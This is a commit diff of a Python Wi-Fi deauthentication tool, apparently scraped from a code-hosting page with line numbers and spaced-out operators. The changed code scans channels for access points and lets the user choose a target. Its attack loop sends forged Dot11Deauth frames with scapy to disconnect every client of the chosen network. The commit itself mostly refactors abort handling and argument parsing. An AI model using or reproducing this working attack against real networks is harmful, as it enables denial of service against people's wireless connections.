1
1
#!/usr/bin/env python3
2
2
3
3
import copy
4
+ import signal
4
5
import logging
5
6
import argparse
6
7
import traceback
28
29
29
30
30
31
class Interceptor :
32
+ _ABORT = False
33
+
31
34
def __init__ (self , net_iface , skip_monitor_mode_setup , kill_networkmanager , bssid_name , custom_channels ):
32
35
self .interface = net_iface
33
36
self ._channel_sniff_timeout = 2
@@ -36,7 +39,6 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
36
39
self ._printf_res_intv = 1
37
40
self ._ssid_str_pad = 42 # total len 80
38
41
39
- self ._abort = False
40
42
self ._current_channel_num = None
41
43
self ._current_channel_aps = set ()
42
44
@@ -69,7 +71,7 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
69
71
def parse_custom_bssid_name (bssid_name : Union [None , str ]) -> Union [None , str ]:
70
72
if bssid_name is not None :
71
73
bssid_name = str (bssid_name )
72
- if len (bssid_name ) ! = 0 :
74
+ if len (bssid_name ) = = 0 :
73
75
print_error (f"Custom BSSID name cannot be an empty string" )
74
76
raise Exception ("Invalid BSSID name" )
75
77
return bssid_name
@@ -78,19 +80,20 @@ def parse_custom_channels(self, channel_list: Union[None, str]):
78
80
ch_list = list ()
79
81
if channel_list is not None :
80
82
try :
81
- ch_list = channel_list .split (',' )
83
+ ch_list = [ int ( ch ) for ch in channel_list .split (',' )]
82
84
except Exception as exc :
83
85
print_error (f"Invalid custom channel input -> { channel_list } " )
84
86
raise Exception ("Bad custom channel input" )
85
87
86
88
if len (ch_list ):
89
+ supported_channels = self ._channel_range .keys ()
87
90
for ch in ch_list :
88
- if ch not in self ._channel_range :
89
- print_error (f"Custom channel { ch } is not supported by the network interface" )
91
+ if ch not in supported_channels :
92
+ print_error (f"Custom channel { ch } is not supported by the network interface"
93
+ f" { list (supported_channels )} " )
90
94
raise Exception ("Unsupported channel" )
91
95
return ch_list
92
96
93
-
94
97
def _enable_monitor_mode (self ):
95
98
for cmd in [f"sudo ip link set { self .interface } down" ,
96
99
f"sudo iw { self .interface } set monitor control" ,
@@ -106,7 +109,6 @@ def _kill_networkmanager():
106
109
print_cmd (f"Running command -> '{ BOLD } { cmd } { RESET } '" )
107
110
return not os .system (cmd )
108
111
109
-
110
112
def _set_channel (self , ch_num ):
111
113
os .system (f"iw dev { self .interface } set channel { ch_num } " )
112
114
self ._current_channel_num = ch_num
@@ -133,6 +135,8 @@ def _ap_sniff_cb(self, pkt):
133
135
self ._custom_bbsid_last_ch = self ._all_ssids [band_type ][ssid ].channel
134
136
else :
135
137
self ._clients_sniff_cb (pkt ) # pass forward to find potential clients
138
+ except KeyboardInterrupt :
139
+ self .user_abort ()
136
140
except Exception as exc :
137
141
pass
138
142
@@ -151,14 +155,15 @@ def _scan_channels_for_aps(self):
151
155
self ._set_channel (ch_num )
152
156
print_info (f"Scanning channel { self ._current_channel_num } (left -> "
153
157
f"{ len (channels_to_scan ) - (idx + 1 )} )" , end = "\r " )
154
- sniff (prn = self ._ap_sniff_cb , iface = self .interface , timeout = self ._channel_sniff_timeout )
158
+ sniff (prn = self ._ap_sniff_cb , iface = self .interface , timeout = self ._channel_sniff_timeout ,
159
+ stop_filter = lambda p : Interceptor ._ABORT is True )
155
160
except KeyboardInterrupt :
156
161
self .user_abort ()
157
162
finally :
158
163
printf ("" )
159
164
160
165
def _found_custom_bssid_name (self ):
161
- for all_channel_aps in self ._channel_range .values ():
166
+ for all_channel_aps in self ._all_ssids .values ():
162
167
for ssid_name in all_channel_aps .keys ():
163
168
if ssid_name == self ._custom_bssid_name :
164
169
return True
@@ -168,10 +173,8 @@ def _custom_bbsid_name_is_set(self):
168
173
return self ._custom_bssid_name is not None
169
174
170
175
def _start_initial_ap_scan (self ) -> SSID :
171
- print_info (f"Starting AP scan, please wait... ({ len (self ._channel_range )} channels total)" )
172
-
173
176
self ._scan_channels_for_aps ()
174
- for _ , band_ssids in self ._all_ssids .items ():
177
+ for band_ssids in self ._all_ssids .values ():
175
178
for ssid_name , ssid_obj in band_ssids .items ():
176
179
self ._channel_range [ssid_obj .channel ][ssid_name ] = copy .deepcopy (ssid_obj )
177
180
@@ -191,14 +194,12 @@ def _start_initial_ap_scan(self) -> SSID:
191
194
printf (f"{ pref } { self ._generate_ssid_str (ssid_obj .name , ssid_obj .channel , ssid_obj .mac_addr , preflen )} " )
192
195
if not target_map :
193
196
print_error ("Not APs were found, quitting..." )
194
- self . _abort = True
197
+ Interceptor . _ABORT = True
195
198
exit (0 )
196
199
197
200
printf (DELIM )
198
201
199
202
chosen = - 1
200
- if self ._custom_bbsid_name_is_set () and self ._found_custom_bssid_name ():
201
- chosen = 0
202
203
while chosen not in target_map .keys ():
203
204
user_input = print_input (f"Choose a target from { min (target_map .keys ())} to { max (target_map .keys ())} :" )
204
205
try :
@@ -230,7 +231,7 @@ def _packet_confirms_client(pkt):
230
231
231
232
def _listen_for_clients (self ):
232
233
print_info (f"Setting up a listener for new clients..." )
233
- sniff (prn = self ._clients_sniff_cb , iface = self .interface , stop_filter = lambda p : self . _abort is True )
234
+ sniff (prn = self ._clients_sniff_cb , iface = self .interface , stop_filter = lambda p : Interceptor . _ABORT is True )
234
235
235
236
def _run_deauther (self ):
236
237
try :
@@ -240,7 +241,7 @@ def _run_deauther(self):
240
241
241
242
rd_frm = RadioTap ()
242
243
deauth_frm = Dot11Deauth (reason = 7 )
243
- while not self . _abort :
244
+ while not Interceptor . _ABORT :
244
245
self .attack_loop_count += 1
245
246
sendp (rd_frm /
246
247
Dot11 (addr1 = BD_MACADDR , addr2 = ap_mac , addr3 = ap_mac ) /
@@ -258,7 +259,7 @@ def _run_deauther(self):
258
259
sleep (self ._deauth_intv )
259
260
except Exception as exc :
260
261
print_error (f"Exception in deauth-loop -> { traceback .format_exc ()} " )
261
- self . _abort = True
262
+ Interceptor . _ABORT = True
262
263
exit (0 )
263
264
264
265
def run (self ):
@@ -275,7 +276,7 @@ def run(self):
275
276
printf (f"{ DELIM } \n " )
276
277
try :
277
278
start = get_time ()
278
- while not self . _abort :
279
+ while not Interceptor . _ABORT :
279
280
print_info (f"Target SSID{ self .target_ssid .name .rjust (80 - 15 , ' ' )} " )
280
281
print_info (f"Channel{ str (ssid_ch ).rjust (80 - 11 , ' ' )} " )
281
282
print_info (f"MAC addr{ self .target_ssid .mac_addr .rjust (80 - 12 , ' ' )} " )
@@ -288,14 +289,18 @@ def run(self):
288
289
print ("" )
289
290
self .user_abort ()
290
291
291
- def user_abort (self ):
292
- self ._abort = True
293
- printf (f"{ DELIM } " )
294
- print_error (f"User asked to stop, quitting..." )
295
- exit (0 )
296
-
292
+ @staticmethod
293
+ def user_abort (* args ):
294
+ if not Interceptor ._ABORT :
295
+ Interceptor ._ABORT = True
296
+ printf (f"{ DELIM } " )
297
+ print_error (f"User asked to stop, quitting..." )
298
+ exit (0 )
297
299
300
+ # todo custom bbsid name - document "\" espa
298
301
if __name__ == "__main__" :
302
+ signal .signal (signal .SIGINT , Interceptor .user_abort )
303
+
299
304
printf (f"\n { BANNER } \n "
300
305
f"Make sure of the following:\n "
301
306
f"1. You are running as { BOLD } root{ RESET } \n "
@@ -317,10 +322,10 @@ def user_abort(self):
317
322
default = False , dest = "skip_monitormode" , required = False )
318
323
parser .add_argument ('-k' , '--kill' , help = 'kill NetworkManager (might interfere with the process)' ,
319
324
action = 'store_true' , default = False , dest = "kill_networkmanager" , required = False )
320
- parser .add_argument ('-b' , '--bbsid' , help = 'custom BBSID name (case-sensitive)' ,
325
+ parser .add_argument ('-b' , '--bbsid' , help = 'custom BBSID name (case-sensitive)' , metavar = "bssid_name" ,
321
326
action = 'store' , default = None , dest = "custom_bbsid" , required = False )
322
- parser .add_argument ('-c' , '--channel ' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
323
- action = 'store' , default = None , dest = "custom_channels" , required = False )
327
+ parser .add_argument ('-c' , '--channels ' , help = 'custom channels to scan, separated by a comma (i.e -> 1,3,4)' ,
328
+ metavar = "ch1,ch2" , action = 'store' , default = None , dest = "custom_channels" , required = False )
324
329
pargs = parser .parse_args ()
325
330
326
331
invalidate_print () # after arg parsing
0 commit comments